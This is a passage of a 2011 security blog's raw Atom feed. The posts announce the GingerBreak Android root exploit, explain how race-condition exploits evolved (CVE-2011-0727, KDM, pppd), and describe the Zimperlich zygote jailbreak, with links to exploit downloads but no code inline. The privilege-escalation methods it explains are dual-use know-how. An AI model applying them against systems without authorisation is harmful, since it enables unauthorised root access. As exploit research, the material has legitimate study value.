'Courier New', Courier, monospace;"&gt;and exploits, or to code exploits. And I chose the latter.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1419274178692593872?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1419274178692593872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1419274178692593872' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1419274178692593872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1419274178692593872'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/05/closing-recent-thread.html' title='Closing recent thread'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3793648900345064952</id><published>2011-04-21T02:11:00.000-07:00</published><updated>2011-04-21T05:57:54.539-07:00</updated><title type='text'>yummy yummy, GingerBreak!</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-YW0DimCiJqA/Ta_0G7B7AeI/AAAAAAAAAJQ/cCukiVQ3Pus/s1600/gingerbreak.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/-YW0DimCiJqA/Ta_0G7B7AeI/AAAAAAAAAJQ/cCukiVQ3Pus/s320/gingerbreak.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Free your phone, once again. Successfully tested on &lt;i&gt;Gingerbread&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(2.3.3) but might also run on &lt;i&gt;Froyo&lt;/i&gt; and &lt;i&gt;Honeycomb&lt;/i&gt;. If it fails&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;there, some offsets and indexes need to be adjusted which is&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;left to the reader.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;NOTE: You use it at your own risk! I am not responsible for any&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;failure or damage. Make sure to read the README file carefully!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Download it &lt;a href="http://stealth.openwall.net/xSports/GingerBreak.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you successfully run it anywhere, please make a comment&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with exact device model/firmware running.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;[Update]&lt;/b&gt; I replaced the tarball with a new version to fix&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;some glitches while parsing &lt;b&gt;vold.fstab&lt;/b&gt;. Should now also&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;work on the GalaxyS. Thx to &lt;i&gt;Chainfire&lt;/i&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3793648900345064952?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3793648900345064952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3793648900345064952' title='94 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3793648900345064952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3793648900345064952'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/04/yummy-yummy-gingerbreak.html' title='yummy yummy, GingerBreak!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-YW0DimCiJqA/Ta_0G7B7AeI/AAAAAAAAAJQ/cCukiVQ3Pus/s72-c/gingerbreak.jpg' height='72' width='72'/><thr:total>94</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2911191517619004487</id><published>2011-04-01T08:48:00.000-07:00</published><updated>2011-04-13T05:48:39.707-07:00</updated><title type='text'>Evolution of race condition exploits (CVE-2011-0727 trickery)</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I recently did a &lt;a href="http://stealth.openwall.net/xSports/bambule-digitale-II.c"&gt;PoC for&amp;nbsp;CVE-2011-0727&lt;/a&gt;. It was possible&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to have a one shot exploit for a race condition which&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;is just a few (2 or 3 or so) syscalls in range.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I compared it with an old exploit I did in 2002&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for &lt;i&gt;OpenBSD/FreeBSD&lt;/i&gt; &lt;a href="http://stealth.openwall.net/xSports/pppdx.pl"&gt;against pppd&lt;/a&gt;. I uploaded it for&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;historical reasons so you can see the evolution of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;race condition exploits.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;In userland almost all race&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;conditions (time of check - time of use: TOCTOU-exploits)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;cook down to &lt;i&gt;races in the filesystem&lt;/i&gt;. While in kernel&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;you also have other shared resources like pages in userland&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;or counters.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The situation around 2000 or before was that most systems only&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;have had one core (single CPU) and therefore there was&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;no real concurrency. The scheduler had to interrupt the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;target process just in the right time and have the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;exploit process chosen to run afterwards.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;How did one achieve that in 2000? Slow down the box&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with many processes which a) increases the overall chance&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;that the target process is put asleap inside the race&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(&lt;b&gt;nice(2)&lt;/b&gt; calls also help if applicable)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and b) having many exploitation processes increases chances&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;of an exploitation process to be picked up next.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;As can be seen in &lt;i&gt;pppdx.pl ,&lt;/i&gt;one process was always&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;switching between a real file and a symlink and another&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;was constantly forking of a lot of &lt;i&gt;pppd&lt;/i&gt; processes.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Sometimes, this needed a bit of tuning, depending on how&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fast the target machine was. But eventually after a few&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;minutes it used to succeed.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Years after that a new framework was introduced on Linux&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;where one could register notification hooks which were&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;called when a certain event happened (e.g. creating the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;target file). In early times you needed to register a signal&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;handler which was delivered and nowadays there is&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the &lt;i&gt;inotify&lt;/i&gt; framework which allows to register hooks for&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;almost all use-cases. I used &lt;i&gt;inotify&lt;/i&gt; in the &lt;a href="http://stealth.openwall.net/xSports/bambule-digitale.c"&gt;KDM exploit&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It saves the exploit coder from creating a lot of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;processes which constantly poll for an event because&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;reading from the event descriptor just returns when the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;event happened. On single CPU systems one might still need&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to fork a lot of processes since the scheduler must put the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;target process to sleep at the right time nevertheless.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Now we have 2011, and writing race condition exploits&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for file races has never been easier. Even the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;cheapest mom-and-dad PC has got at least 2 cores, probably&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;more. Therefore we have true concurrency since we can&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;make the target process run on a different CPU-core than&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the exploitation process. Therefore we no longer rely&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;on scheduler to interrupt the target at the right time.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;We can just poll or sleep on an event with a single process&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and are still fast enough with changing the target file.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;One just has to ensure that (if more than 2 cores exist)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;multiple exploitation processes do not interfer&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with each other if the event happens.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The &lt;i&gt;CVE-2011-0727 GDM&lt;/i&gt; PoC is doing exactly that.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;With the &lt;i&gt;KDM&lt;/i&gt; exploit it basically worked the same&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(best on multi-core CPU systems) but with using&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the &lt;i&gt;inotify&lt;/i&gt; framework.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2911191517619004487?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2911191517619004487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2911191517619004487' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2911191517619004487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2911191517619004487'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/04/evolution-of-race-condition-exploits.html' title='Evolution of race condition exploits (CVE-2011-0727 trickery)'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4603910876822350259</id><published>2011-03-28T23:29:00.000-07:00</published><updated>2011-03-28T23:29:53.679-07:00</updated><title type='text'>Testing and stuff</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Gingerbreak is not that easy and needs to be carefully tested.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Additionally, I wait for a particular device to be&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;released. I am not waiting for the fun of it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;But as always, no guarantee for anything.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4603910876822350259?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4603910876822350259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4603910876822350259' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4603910876822350259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4603910876822350259'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/03/testing-and-stuff.html' title='Testing and stuff'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-852200168316183018</id><published>2011-03-17T12:42:00.000-07:00</published><updated>2011-03-17T12:42:50.228-07:00</updated><title type='text'>I am not the unrevoked or XDA support</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I constantly receive comments/questions regarding problems/ideas&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;about work done by &lt;i&gt;unrevoked&lt;/i&gt; or the &lt;i&gt;XDA forum&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you have any Q's about these recovery/S-OFF/NAND/exploit-GUI&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;or whatever please visit their websites. I cannot&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;help you with it as I am not involved in their software&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;or FAQs. I am sure they are looking forward to hear&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;your opinion/questions.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If there is any particular Q about *my* software, of course&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;feel free to comment.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-852200168316183018?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/852200168316183018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=852200168316183018' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/852200168316183018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/852200168316183018'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/03/i-am-not-unrevoked-or-xda-support.html' title='I am not the unrevoked or XDA support'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8464248126478634970</id><published>2011-02-24T03:35:00.000-08:00</published><updated>2011-02-24T03:49:58.337-08:00</updated><title type='text'>Zimperlich sources</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Since there were some requests I made the source of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the &lt;b&gt;zygote&lt;/b&gt; jailbreak, &lt;i&gt;zimperlich&lt;/i&gt;, available &lt;a href="http://stealth.openwall.net/xSports/zimperlich.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Its straight forward code just like the &lt;b&gt;adb&lt;/b&gt; &lt;i&gt;setuid()&lt;/i&gt; one.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Most of the time I spent getting the &lt;i&gt;Makefile&lt;/i&gt; right and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;tricking &lt;b&gt;zygote&lt;/b&gt; to spawn the right amount of processes and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;calling &lt;i&gt;setuid()&lt;/i&gt; once more when we are already running.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Keeping in mind that I dont like Java.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I solved this with a &lt;i&gt;ContentProvider&lt;/i&gt; and giving it a new&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;process name in &lt;i&gt;AndroidManifest.xml&lt;/i&gt;, so the &lt;i&gt;ContentProvider&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;is guaranteed to be invoked as a new process.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If the NPROC limit is reached this will be the root&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;process.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Also, we want some native code carried along with the .apk&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for convenient purposes. The Android ABI requires that&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it must be named libNAME.so but in fact it is of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;type ET_EXEC and not ET_DYN so we can execute it as&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;binary.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you look at the &lt;i&gt;Makefile&lt;/i&gt; you can imagine that this &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;was a horror. You require a complete Android build in&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;$AROOT&lt;/i&gt; to succeed.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Of course you could also mis-use the &lt;i&gt;RageAgainstTheCage&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;binary to exploit &lt;b&gt;zygote&lt;/b&gt; (and not &lt;b&gt;adb&lt;/b&gt;) if called from&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;an .apk like the &lt;i&gt;z4root&lt;/i&gt; did. But I think nobody noticed&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;or cared that a different &lt;i&gt;setuid()&lt;/i&gt; bug was actually exploited.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Thats at least what my short analysis showed. If I am wrong&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I will remove this paragraph. So, only use the original&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;old but gold code on the commandline as proposed&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to get the real deal! :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, 